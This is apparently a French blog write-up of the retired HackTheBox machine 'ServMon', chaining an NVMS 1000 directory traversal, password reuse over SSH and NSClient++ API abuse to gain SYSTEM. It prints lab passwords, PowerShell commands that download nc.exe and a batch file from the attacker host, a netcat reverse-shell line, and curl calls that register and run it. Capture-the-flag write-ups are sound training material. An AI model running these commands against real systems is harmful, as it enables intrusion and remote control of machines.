white.h4t.eu

Ici c'est Linux, plaintext et pentest.

ServMon HackTheBox

June 20, 2020 — ebsd

image-20200616154000328

Intro

Box retirée le 20 juin 2020. Deux vulnérabilités s’enchaînent pour mener l'attaquant à un shell System.

Résumé
  • Un admin laisse le mot de passe d'un utilisateur dans un fichier texte
  • Une application web vulnérable permet de lire ce fichier. Le compte utilisateur est compromis.
  • Une seconde application de métriologie permet à cet utilisateur d'exécuter des commandes en tant que System.

Recon

nmap
kali@kali:~$ nmap -p- 10.10.10.184
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-09 02:04 EDT
Nmap scan report for 10.10.10.184
Host is up (0.059s latency).
Not shown: 65493 closed ports
PORT      STATE    SERVICE
21/tcp    open     ftp
22/tcp    open     ssh
80/tcp    open     http
135/tcp   open     msrpc
139/tcp   open     netbios-ssn
445/tcp   open     microsoft-ds
5040/tcp  open     unknown
5666/tcp  open     nrpe
6063/tcp  open     x11
6699/tcp  open     napster
8443/tcp  open     https-alt
49664/tcp open     unknown
49665/tcp open     unknown
49666/tcp open     unknown
49667/tcp open     unknown
49668/tcp open     unknown
49669/tcp open     unknown
49670/tcp open     unknown

Pour commencer sur le port 80 tourne une application nommée NVMS.

image-20200612075406827

Elle représente peut être un risque puisque potentiellement vulnérable à un "Directory Traversal" qui pourrait me permettre de lire des informations sensibles sur le serveur.

image-20200612075515265

ftp

Que puis-je obtenir du service FTP ? Connexion anonyme permise.

ftp> cd Users
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20  12:06PM       <DIR>          Nadine
01-18-20  12:08PM       <DIR>          Nathan
226 Transfer complete
ftp> cd Nadine
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20  12:08PM                  174 Confidential.txt
226 Transfer complete.

Selon le fichier Confidential.txt, il semblerait que le mot de passe de Nathan soit placé dans un fichier Passwords.txt.

Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

On a aussi un "Notes to do.txt"

kali@kali:~/ServMon$ cat Notes\ to\ do.txt 
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint

Comment accéder à ce fichier Passwords.txt ? Je tente la vulnérabilité Directory Traversal de NVMS 1000.

NVMS Directory traversal

J'utilise ce POC pour accéder au fichier Passwords.txt : https://raw.githubusercontent.com/AleDiBen/NVMS1000-Exploit/master/nvms.py

kali@kali:~/ServMon$ python3 nvms.py 10.10.10.184 Users/Nathan/Desktop/Passwords.txt Password.txt
[+] DT Attack Succeeded
[+] Saving File Content
[+] Saved
[+] File Content

++++++++++ BEGIN ++++++++++
1nsp3ctTh3Way2Mars!                                                                                                       
Th3r34r3To0M4nyTrait0r5!                                                                                                  
B3WithM30r4ga1n5tMe                                                                                                       
L1k3B1gBut7s@W0rk                                                                                                         
0nly7h3y0unGWi11F0l10w                                                                                                    
IfH3s4b0Utg0t0H1sH0me                                                                                                     
Gr4etN3w5w17hMySk1Pa5$                                                                                                    
++++++++++  END  ++++++++++

image-20200612075848810

ssh

J'initie maintenant une connexion SSH puisque c'est le seul service qui semble permettre un accès à la machine. Nous connaissons deux utilisateurs : Nadine et Nathan. Je tente chaque mot de passe pour chaque utilisateur. Je fini par découvrir le mot de passe de Nadine : L1k3B1gBut7s@W0rk

kali@kali:~/ServMon$ ssh nadine@10.10.10.184
nadine@10.10.10.184's password:

Voici le flag user.

image-20200612090509571

Élévation de privilèges

API nsclient++

Le port 5666 identifié lors de la phase de reconnaissance m'a fait pensé à nsclient++.

Le service nsclient++ est exécuté avec les privilèges SYSTEM. Si je parviens à lui faire exécuter un reverse shell, je suis SYSTEM.

Je vais utiliser l'API de NSClient. J'ai obtenu le mot de passe admin de NSClient dans le fichier de configuration nsclient.ini dans son dossier d'installation : ew2x6SsGTxjRwXOT

Selon la documentation de l'API on peut créer un nouveau script. Un script qui établirait une connexion vers ma machine ? https://docs.nsclient.org/api/rest/scripts/

Je commence par envoyer un netcat sur la victime.

# attacker
kali@kali:~$ cd /usr/share/windows-resources/binaries/
kali@kali:/usr/share/windows-resources/binaries$ python -m http.server 80
kali@kali:/usr/share/windows-resources/binaries$ sudo python3 -m http.server 80
[sudo] password for kali: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.184 - - [12/Jun/2020 04:44:04] "GET /nc.exe HTTP/1.1" 200 -

# victime - ServMon
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.27/nc.exe','C:\temp\nc.exe')"

Je prépare mon reverse shell : exploit.bat

kali@kali:~$ cat exploit.bat
c:\temp\nc.exe 10.10.14.27 443 -e cmd.exe

Je l'envoie sur la victime.

# victime - ServMon
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.27/exploit.bat','C:\temp\exploit.bat')"

Puis je demande à l'API d'installer mon reverse shell en tant que "external script".

cd c:\temp
curl -s -k -u admin -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/exploit.bat --data-binary @exploit.bat

image-20200612104840590

Ma nouvelle commande externe est bien créée d'après le fichier de config nsclient.ini :

image-20200612105240847

Reste à exécuter le script externe.

curl -s -k -u admin https://localhost:8443/api/v1/queries/exploit/commands/execute

Mon netcat en attente reçois la connexion : je suis SYSTEM.

image-20200612122223800

image-20200612122338141

Tags: HackTheBox

Comments? Tweet